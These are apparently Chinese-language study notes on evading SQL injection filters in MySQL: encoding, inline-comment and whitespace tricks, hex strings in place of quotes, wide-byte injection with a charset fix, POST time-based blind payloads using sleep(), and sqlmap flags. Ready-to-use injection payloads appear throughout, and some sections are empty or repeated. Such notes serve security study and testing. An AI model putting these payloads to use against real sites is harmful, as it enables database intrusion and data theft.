SQL注入绕过
1,大小写绕过
2,双写绕过
3,编码绕过
可以使用URL编码,ASCII,HEX,unicode编码绕过
4,内联注释绕过
/*!内容*/
5,绕过空格(注释符/ /,%a0)
两个空格代替一个空格,用Tab代替空格,%a0=空格,注释替换空格.
括号绕过空格
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
select(user())from dual where(1=1)and(2=2)
6,引号绕过(使用十六进制)
select column_name from information_schema.tables where table_name="users"//这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。
select column_name from information_schema.tables where table_name=0x7573657273
7,逗号绕过(使用from或者offset)
使用join:
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #等价于
select user() like ‘r%’
对于limit可以使用offset来绕过:
select * from news limit 0,1
select * from news limit 1 offset 0
8,比较符号(<>)绕过
(过滤了<>:sqlmap盲注经常使用<>,使用greatest()、least():(前者返回最大值,后者返回最小值))
select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
9.绕过union,select,where等
(1)使用注释符绕过:
U// NION // SE// LECT //user,pwd from user
(2)使用大小写绕过:
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过)
10.宽字节注入
修复:
character_set_client='binary’设置为binary(二进制),只需要在所有的sql语句前指定一下连接的形式为二进制:mysql_query(“SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary”, $conn);,当我们的mysql接受到客户端的数据后,会认为他的编码是character_set_client,然后会将换成character_set_connection的编码,然后在进入具体表和字段后,再转换成字段对应的编码,然后当查询结果产生后,会从表和字段编码,转换成character_set_results编码,返回给客户端。
POST基于时间和布尔的盲注
1.HTTP POST介绍
POST发送数据到服务器中,请求服务器处理(表单数据提交、文件上传)
POST可能会创建新的资源或者修改现有资源
2.POST基于时间的盲注
在存在注入点POST提交的参数后加and if(length(database())>5,sleep(5),null)
如果执行的页面响应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行
uname=admin and &passwd=123&submit=Submit
uname=admin and (select(if(length(database())>5,sleep(5),null)))--+&passwd=123&submit=Submit
3.POST基于布尔的盲注
4、Sqlmap安全测试
测试方法与前面类似
–technique -T 时间盲注
试方法与前面类似
–technique -T 时间盲注
–technique -B 布尔盲注